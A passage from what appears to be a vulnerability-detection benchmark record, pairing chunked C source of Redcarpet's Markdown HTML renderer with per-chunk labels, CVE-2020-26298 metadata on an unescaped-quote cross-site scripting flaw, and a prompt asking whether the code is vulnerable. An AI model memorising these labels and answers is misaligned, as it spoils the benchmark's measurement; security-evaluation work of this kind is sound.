1;", "\t\tlevel -= options->toc_data.level_offset;", "\t\tif (level > options->toc_data.current_level) {\n\t\t\twhile (level > options->toc_data.current_level) {\n\t\t\t\tBUFPUTSL(ob, \"<ul>\\n<li>\\n\");\n\t\t\t\toptions->toc_data.current_level++;\n\t\t\t}\n\t\t} else if (level < options->toc_data.current_level) {\n\t\t\tBUFPUTSL(ob, \"</li>\\n\");\n\t\t\twhile (level < options->toc_data.current_level) {\n\t\t\t\tBUFPUTSL(ob, \"</ul>\\n</li>\\n\");\n\t\t\t\toptions->toc_data.current_level--;\n\t\t\t}\n\t\t\tBUFPUTSL(ob,\"<li>\\n\");\n\t\t} else {\n\t\t\tBUFPUTSL(ob,\"</li>\\n<li>\\n\");\n\t\t}", "\t\tbufprintf(ob, \"<a href=\\\"#\");\n\t\trndr_header_anchor(ob, text);\n\t\tBUFPUTSL(ob, \"\\\">\");", "\t\tif (text) {\n\t\t\tif (options->flags & HTML_ESCAPE)\n\t\t\t\tescape_html(ob, text->data, text->size);\n\t\t\telse\n\t\t\t\tbufput(ob, text->data, text->size);\n\t\t}", "\t\tBUFPUTSL(ob, \"</a>\\n\");\n\t}\n}", "static int\ntoc_link(struct buf *ob, const struct buf *link, const struct buf *title, const struct buf *content, void *opaque)\n{\n\tif (content && content->size)\n\t\tbufput(ob, content->data, content->size);\n\treturn 1;\n}", "static void\ntoc_finalize(struct buf *ob, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\twhile (options->toc_data.current_level > 0) {\n\t\tBUFPUTSL(ob, \"</li>\\n</ul>\\n\");\n\t\toptions->toc_data.current_level--;\n\t}\n}", "void\nsdhtml_toc_renderer(struct sd_callbacks *callbacks, struct html_renderopt *options, unsigned int render_flags)\n{\n\tstatic const struct sd_callbacks cb_default = {\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\ttoc_header,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\trndr_footnotes,\n\t\trndr_footnote_def,", "\t\tNULL,\n\t\trndr_codespan,\n\t\trndr_double_emphasis,\n\t\trndr_emphasis,\n\t\trndr_underline,\n\t\trndr_highlight,\n\t\trndr_quote,\n\t\tNULL,\n\t\tNULL,\n\t\ttoc_link,\n\t\tNULL,\n\t\trndr_triple_emphasis,\n\t\trndr_strikethrough,\n\t\trndr_superscript,\n\t\trndr_footnote_ref,", "\t\tNULL,\n\t\tNULL,", "\t\tNULL,\n\t\ttoc_finalize,\n\t};", "\tmemset(options, 0x0, sizeof(struct html_renderopt));\n\toptions->flags = render_flags;", "\tmemcpy(callbacks, &cb_default, sizeof(struct sd_callbacks));\n}", "void\nsdhtml_renderer(struct sd_callbacks *callbacks, struct html_renderopt *options, unsigned int render_flags)\n{\n\tstatic const struct sd_callbacks cb_default = {\n\t\trndr_blockcode,\n\t\trndr_blockquote,\n\t\trndr_raw_block,\n\t\trndr_header,\n\t\trndr_hrule,\n\t\trndr_list,\n\t\trndr_listitem,\n\t\trndr_paragraph,\n\t\trndr_table,\n\t\trndr_tablerow,\n\t\trndr_tablecell,\n\t\trndr_footnotes,\n\t\trndr_footnote_def,", "\t\trndr_autolink,\n\t\trndr_codespan,\n\t\trndr_double_emphasis,\n\t\trndr_emphasis,\n\t\trndr_underline,\n\t\trndr_highlight,\n\t\trndr_quote,\n\t\trndr_image,\n\t\trndr_linebreak,\n\t\trndr_link,\n\t\trndr_raw_html,\n\t\trndr_triple_emphasis,\n\t\trndr_strikethrough,\n\t\trndr_superscript,\n\t\trndr_footnote_ref,", "\t\tNULL,\n\t\trndr_normal_text,", "\t\tNULL,\n\t\tNULL,\n\t};", "\t/* Prepare the options pointer */\n\tmemset(options, 0x0, sizeof(struct html_renderopt));\n\toptions->flags = render_flags;\n\toptions->toc_data.nesting_bounds[0] = 1;\n\toptions->toc_data.nesting_bounds[1] = 6;", "\t/* Prepare the callbacks */\n\tmemcpy(callbacks, &cb_default, sizeof(struct sd_callbacks));", "\tif (render_flags & HTML_SKIP_IMAGES)\n\t\tcallbacks->image = NULL;", "\tif (render_flags & HTML_SKIP_LINKS) {\n\t\tcallbacks->link = NULL;\n\t\tcallbacks->autolink = NULL;\n\t}", "\tif (render_flags & HTML_SKIP_HTML || render_flags & HTML_ESCAPE)\n\t\tcallbacks->blockhtml = NULL;\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (c) 2009, Natacha Porté\n * Copyright (c) 2015, Vicent Marti\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */", "#include \"markdown.h\"\n#include \"html.h\"\n#include <string.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <ctype.h>", "#include \"houdini.h\"", "#define USE_XHTML(opt) (opt->flags & HTML_USE_XHTML)", "int\nsdhtml_is_tag(const uint8_t *tag_data, size_t tag_size, const char *tagname)\n{\n\tsize_t i;\n\tint closed = 0;", "\tif (tag_size < 3 || tag_data[0] != '<')\n\t\treturn HTML_TAG_NONE;", "\ti = 1;", "\tif (tag_data[i] == '/') {\n\t\tclosed = 1;\n\t\ti++;\n\t}", "\tfor (; i < tag_size; ++i, ++tagname) {\n\t\tif (*tagname == 0)\n\t\t\tbreak;", "\t\tif (tag_data[i] != *tagname)\n\t\t\treturn HTML_TAG_NONE;\n\t}", "\tif (i == tag_size)\n\t\treturn HTML_TAG_NONE;", "\tif (isspace(tag_data[i]) || tag_data[i] == '>')\n\t\treturn closed ? HTML_TAG_CLOSE : HTML_TAG_OPEN;", "\treturn HTML_TAG_NONE;\n}", "static inline void escape_html(struct buf *ob, const uint8_t *source, size_t length)\n{\n\thoudini_escape_html0(ob, source, length, 0);\n}", "static inline void escape_href(struct buf *ob, const uint8_t *source, size_t length)\n{\n\thoudini_escape_href(ob, source, length);\n}", "/********************\n * GENERIC RENDERER *\n ********************/\nstatic int\nrndr_autolink(struct buf *ob, const struct buf *link, enum mkd_autolink type, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (!link || !link->size)\n\t\treturn 0;", "\tif ((options->flags & HTML_SAFELINK) != 0 &&\n\t\t!sd_autolink_issafe(link->data, link->size) &&\n\t\ttype != MKDA_EMAIL)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<a href=\\\"\");\n\tif (type == MKDA_EMAIL)\n\t\tBUFPUTSL(ob, \"mailto:\");\n\tescape_href(ob, link->data, link->size);", "\tif (options->link_attributes) {\n\t\tbufputc(ob, '\\\"');\n\t\toptions->link_attributes(ob, link, opaque);\n\t\tbufputc(ob, '>');\n\t} else {\n\t\tBUFPUTSL(ob, \"\\\">\");\n\t}", "\t/*\n\t * Pretty printing: if we get an email address as\n\t * an actual URI, e.g. `mailto:foo@bar.com`, we don't\n\t * want to print the `mailto:` prefix\n\t */\n\tif (bufprefix(link, \"mailto:\") == 0) {\n\t\tescape_html(ob, link->data + 7, link->size - 7);\n\t} else {\n\t\tescape_html(ob, link->data, link->size);\n\t}", "\tBUFPUTSL(ob, \"</a>\");", "\treturn 1;\n}", "static void\nrndr_blockcode(struct buf *ob, const struct buf *text, const struct buf *lang, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (ob->size) bufputc(ob, '\\n');", "\tif (lang && lang->size) {\n\t\tsize_t i, cls;\n\t\tif (options->flags & HTML_PRETTIFY) {\n\t\t\tBUFPUTSL(ob, \"<pre><code class=\\\"prettyprint lang-\");\n\t\t\tcls++;\n\t\t} else {\n\t\t\tBUFPUTSL(ob, \"<pre><code class=\\\"\");\n\t\t}", "\t\tfor (i = 0, cls = 0; i < lang->size; ++i, ++cls) {\n\t\t\twhile (i < lang->size && isspace(lang->data[i]))\n\t\t\t\ti++;", "\t\t\tif (i < lang->size) {\n\t\t\t\tsize_t org = i;\n\t\t\t\twhile (i < lang->size && !isspace(lang->data[i]))\n\t\t\t\t\ti++;", "\t\t\t\tif (lang->data[org] == '.')\n\t\t\t\t\torg++;", "\t\t\t\tif (cls) bufputc(ob, ' ');\n\t\t\t\tescape_html(ob, lang->data + org, i - org);\n\t\t\t}\n\t\t}", "\t\tBUFPUTSL(ob, \"\\\">\");\n\t} else if (options->flags & HTML_PRETTIFY) {\n\t\tBUFPUTSL(ob, \"<pre><code class=\\\"prettyprint\\\">\");\n\t} else {\n\t\tBUFPUTSL(ob, \"<pre><code>\");\n\t}", "\tif (text)\n\t\tescape_html(ob, text->data, text->size);", "\tBUFPUTSL(ob, \"</code></pre>\\n\");\n}", "static void\nrndr_blockquote(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (ob->size) bufputc(ob, '\\n');\n\tBUFPUTSL(ob, \"<blockquote>\\n\");\n\tif (text) bufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</blockquote>\\n\");\n}", "static int\nrndr_codespan(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tif (options->flags & HTML_PRETTIFY)\n\t\tBUFPUTSL(ob, \"<code class=\\\"prettyprint\\\">\");\n\telse\n\t\tBUFPUTSL(ob, \"<code>\");\n\tif (text) escape_html(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</code>\");\n\treturn 1;\n}", "static int\nrndr_strikethrough(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<del>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</del>\");\n\treturn 1;\n}", "static int\nrndr_double_emphasis(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<strong>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</strong>\");", "\treturn 1;\n}", "static int\nrndr_emphasis(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size) return 0;\n\tBUFPUTSL(ob, \"<em>\");\n\tif (text) bufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</em>\");\n\treturn 1;\n}", "static int\nrndr_underline(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<u>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</u>\");", "\treturn 1;\n}", "static int\nrndr_highlight(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<mark>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</mark>\");", "\treturn 1;\n}", "static int\nrndr_quote(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size)\n\t\treturn 0;\n", "\tstruct html_renderopt *options = opaque;\n", "\tBUFPUTSL(ob, \"<q>\");", "\n\tif (options->flags & HTML_ESCAPE)\n\t\tescape_html(ob, text->data, text->size);\n\telse\n\t\tbufput(ob, text->data, text->size);\n", "\tBUFPUTSL(ob, \"</q>\");", "\treturn 1;\n}", "static int\nrndr_linebreak(struct buf *ob, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tbufputs(ob, USE_XHTML(options) ? \"<br/>\\n\" : \"<br>\\n\");\n\treturn 1;\n}", "static void\nrndr_header_anchor(struct buf *out, const struct buf *anchor)\n{\n\tstatic const char *STRIPPED = \" -&+$,/:;=?@\\\"#{}|^~[]`\\\\*()%.!'\";", "\tconst uint8_t *a = anchor->data;\n\tconst size_t size = anchor->size;\n\tsize_t i = 0;\n\tint stripped = 0, inserted = 0;", "\tfor (; i < size; ++i) {\n\t\t// skip html tags\n\t\tif (a[i] == '<') {\n\t\t\twhile (i < size && a[i] != '>')\n\t\t\t\ti++;\n\t\t// skip html entities\n\t\t} else if (a[i] == '&') {\n\t\t\twhile (i < size && a[i] != ';')\n\t\t\t\ti++;\n\t\t}\n\t\t// replace non-ascii or invalid characters with dashes\n\t\telse if (!isascii(a[i]) || strchr(STRIPPED, a[i])) {\n\t\t\tif (inserted && !stripped)\n\t\t\t\tbufputc(out, '-');\n\t\t\t// and do it only once\n\t\t\tstripped = 1;\n\t\t}\n\t\telse {\n\t\t\tbufputc(out, tolower(a[i]));\n\t\t\tstripped = 0;\n\t\t\tinserted++;\n\t\t}\n\t}", "\t// replace the last dash if there was anything added\n\tif (stripped && inserted)\n\t\tout->size--;", "\t// if anchor found empty, use djb2 hash for it\n\tif (!inserted && anchor->size) {\n\t unsigned long hash = 5381;\n\t\tfor (i = 0; i < size; ++i) {\n\t\t\thash = ((hash << 5) + hash) + a[i]; /* h * 33 + c */\n\t\t}\n\t\tbufprintf(out, \"part-%lx\", hash);\n\t}\n}", "static void\nrndr_header(struct buf *ob, const struct buf *text, int level, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (ob->size)\n\t\tbufputc(ob, '\\n');", "\tif ((options->flags & HTML_TOC) && level >= options->toc_data.nesting_bounds[0] &&\n\t level <= options->toc_data.nesting_bounds[1]) {\n\t\tbufprintf(ob, \"<h%d id=\\\"\", level);\n\t\trndr_header_anchor(ob, text);\n\t\tBUFPUTSL(ob, \"\\\">\");\n\t}\n\telse\n\t\tbufprintf(ob, \"<h%d>\", level);", "\tif (text) bufput(ob, text->data, text->size);\n\tbufprintf(ob, \"</h%d>\\n\", level);\n}", "static int\nrndr_link(struct buf *ob, const struct buf *link, const struct buf *title, const struct buf *content, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (link != NULL && (options->flags & HTML_SAFELINK) != 0 && !sd_autolink_issafe(link->data, link->size))\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<a href=\\\"\");", "\tif (link && link->size)\n\t\tescape_href(ob, link->data, link->size);", "\tif (title && title->size) {\n\t\tBUFPUTSL(ob, \"\\\" title=\\\"\");\n\t\tescape_html(ob, title->data, title->size);\n\t}", "\tif (options->link_attributes) {\n\t\tbufputc(ob, '\\\"');\n\t\toptions->link_attributes(ob, link, opaque);\n\t\tbufputc(ob, '>');\n\t} else {\n\t\tBUFPUTSL(ob, \"\\\">\");\n\t}", "\tif (content && content->size) bufput(ob, content->data, content->size);\n\tBUFPUTSL(ob, \"</a>\");\n\treturn 1;\n}", "static void\nrndr_list(struct buf *ob, const struct buf *text, int flags, void *opaque)\n{\n\tif (ob->size) bufputc(ob, '\\n');\n\tbufput(ob, flags & MKD_LIST_ORDERED ? \"<ol>\\n\" : \"<ul>\\n\", 5);\n\tif (text) bufput(ob, text->data, text->size);\n\tbufput(ob, flags & MKD_LIST_ORDERED ? \"</ol>\\n\" : \"</ul>\\n\", 6);\n}", "static void\nrndr_listitem(struct buf *ob, const struct buf *text, int flags, void *opaque)\n{\n\tBUFPUTSL(ob, \"<li>\");\n\tif (text) {\n\t\tsize_t size = text->size;\n\t\twhile (size && text->data[size - 1] == '\\n')\n\t\t\tsize--;", "\t\tbufput(ob, text->data, size);\n\t}\n\tBUFPUTSL(ob, \"</li>\\n\");\n}", "static void\nrndr_paragraph(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tsize_t i = 0;", "\tif (ob->size) bufputc(ob, '\\n');", "\tif (!text || !text->size)\n\t\treturn;", "\twhile (i < text->size && isspace(text->data[i])) i++;", "\tif (i == text->size)\n\t\treturn;", "\tBUFPUTSL(ob, \"<p>\");\n\tif (options->flags & HTML_HARD_WRAP) {\n\t\tsize_t org;\n\t\twhile (i < text->size) {\n\t\t\torg = i;\n\t\t\twhile (i < text->size && text->data[i] != '\\n')\n\t\t\t\ti++;", "\t\t\tif (i > org)\n\t\t\t\tbufput(ob, text->data + org, i - org);", "\t\t\t/*\n\t\t\t * do not insert a line break if this newline\n\t\t\t * is the last character on the paragraph\n\t\t\t */\n\t\t\tif (i >= text->size - 1)\n\t\t\t\tbreak;", "\t\t\trndr_linebreak(ob, opaque);\n\t\t\ti++;\n\t\t}\n\t} else {\n\t\tbufput(ob, &text->data[i], text->size - i);\n\t}\n\tBUFPUTSL(ob, \"</p>\\n\");\n}", "static void\nrndr_raw_block(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tsize_t org, size;\n\tstruct html_renderopt *options = opaque;", "\tif (!text)\n\t\treturn;", "\tsize = text->size;\n\twhile (size > 0 && text->data[size - 1] == '\\n')\n\t\tsize--;", "\tfor (org = 0; org < size && text->data[org] == '\\n'; ++org)", "\tif (org >= size)\n\t\treturn;", "\t/* Remove style tags if the `:no_styles` option is enabled */\n\tif ((options->flags & HTML_SKIP_STYLE) != 0 &&\n\t\tsdhtml_is_tag(text->data, size, \"style\"))\n\t\treturn;", "\tif (ob->size)\n\t\tbufputc(ob, '\\n');", "\tbufput(ob, text->data + org, size - org);\n\tbufputc(ob, '\\n');\n}", "static int\nrndr_triple_emphasis(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size) return 0;\n\tBUFPUTSL(ob, \"<strong><em>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</em></strong>\");\n\treturn 1;\n}", "static void\nrndr_hrule(struct buf *ob, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;\n\tif (ob->size) bufputc(ob, '\\n');\n\tbufputs(ob, USE_XHTML(options) ? \"<hr/>\\n\" : \"<hr>\\n\");\n}", "static int\nrndr_image(struct buf *ob, const struct buf *link, const struct buf *title, const struct buf *alt, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (link != NULL && (options->flags & HTML_SAFELINK) != 0 && !sd_autolink_issafe(link->data, link->size))\n\t\treturn 0;", "\tBUFPUTSL(ob, \"<img src=\\\"\");", "\tif (link && link->size)\n\t\tescape_href(ob, link->data, link->size);", "\tBUFPUTSL(ob, \"\\\" alt=\\\"\");", "\tif (alt && alt->size)\n\t\tescape_html(ob, alt->data, alt->size);", "\tif (title && title->size) {\n\t\tBUFPUTSL(ob, \"\\\" title=\\\"\");\n\t\tescape_html(ob, title->data, title->size);\n\t}", "\tbufputs(ob, USE_XHTML(options) ? \"\\\"/>\" : \"\\\">\");\n\treturn 1;\n}", "static int\nrndr_raw_html(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\t/* HTML_ESCAPE overrides SKIP_HTML, SKIP_STYLE, SKIP_LINKS and SKIP_IMAGES\n\t It doesn't see if there are any valid tags, just escape all of them. */\n\tif((options->flags & HTML_ESCAPE) != 0) {\n\t\tescape_html(ob, text->data, text->size);\n\t\treturn 1;\n\t}", "\tif ((options->flags & HTML_SKIP_HTML) != 0)\n\t\treturn 1;", "\tif ((options->flags & HTML_SKIP_STYLE) != 0 &&\n\t\tsdhtml_is_tag(text->data, text->size, \"style\"))\n\t\treturn 1;", "\tif ((options->flags & HTML_SKIP_LINKS) != 0 &&\n\t\tsdhtml_is_tag(text->data, text->size, \"a\"))\n\t\treturn 1;", "\tif ((options->flags & HTML_SKIP_IMAGES) != 0 &&\n\t\tsdhtml_is_tag(text->data, text->size, \"img\"))\n\t\treturn 1;", "\tbufput(ob, text->data, text->size);\n\treturn 1;\n}", "static void\nrndr_table(struct buf *ob, const struct buf *header, const struct buf *body, void *opaque)\n{\n\tif (ob->size) bufputc(ob, '\\n');\n\tBUFPUTSL(ob, \"<table><thead>\\n\");\n\tif (header)\n\t\tbufput(ob, header->data, header->size);\n\tBUFPUTSL(ob, \"</thead><tbody>\\n\");\n\tif (body)\n\t\tbufput(ob, body->data, body->size);\n\tBUFPUTSL(ob, \"</tbody></table>\\n\");\n}", "static void\nrndr_tablerow(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tBUFPUTSL(ob, \"<tr>\\n\");\n\tif (text)\n\t\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</tr>\\n\");\n}", "static void\nrndr_tablecell(struct buf *ob, const struct buf *text, int flags, void *opaque)\n{\n\tif (flags & MKD_TABLE_HEADER) {\n\t\tBUFPUTSL(ob, \"<th\");\n\t} else {\n\t\tBUFPUTSL(ob, \"<td\");\n\t}", "\tswitch (flags & MKD_TABLE_ALIGNMASK) {\n\tcase MKD_TABLE_ALIGN_CENTER:\n\t\tBUFPUTSL(ob, \" style=\\\"text-align: center\\\">\");\n\t\tbreak;", "\tcase MKD_TABLE_ALIGN_L:\n\t\tBUFPUTSL(ob, \" style=\\\"text-align: left\\\">\");\n\t\tbreak;", "\tcase MKD_TABLE_ALIGN_R:\n\t\tBUFPUTSL(ob, \" style=\\\"text-align: right\\\">\");\n\t\tbreak;", "\tdefault:\n\t\tBUFPUTSL(ob, \">\");\n\t}", "\tif (text)\n\t\tbufput(ob, text->data, text->size);", "\tif (flags & MKD_TABLE_HEADER) {\n\t\tBUFPUTSL(ob, \"</th>\\n\");\n\t} else {\n\t\tBUFPUTSL(ob, \"</td>\\n\");\n\t}\n}", "static int\nrndr_superscript(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (!text || !text->size) return 0;\n\tBUFPUTSL(ob, \"<sup>\");\n\tbufput(ob, text->data, text->size);\n\tBUFPUTSL(ob, \"</sup>\");\n\treturn 1;\n}", "static void\nrndr_normal_text(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tif (text)\n\t\tescape_html(ob, text->data, text->size);\n}", "static void\nrndr_footnotes(struct buf *ob, const struct buf *text, void *opaque)\n{\n\tstruct html_renderopt *options = opaque;", "\tif (ob->size) bufputc(ob, '\\n');", "\tBUFPUTSL(ob, \"<div class=\\\"footnotes\\\">\\n\");\n\tbufputs(ob, USE_XHTML(options) ? \"<hr/>\\n\" : \"<hr>\\n\");\n\tBUFPUTSL(ob, \"<ol>\\n\");", 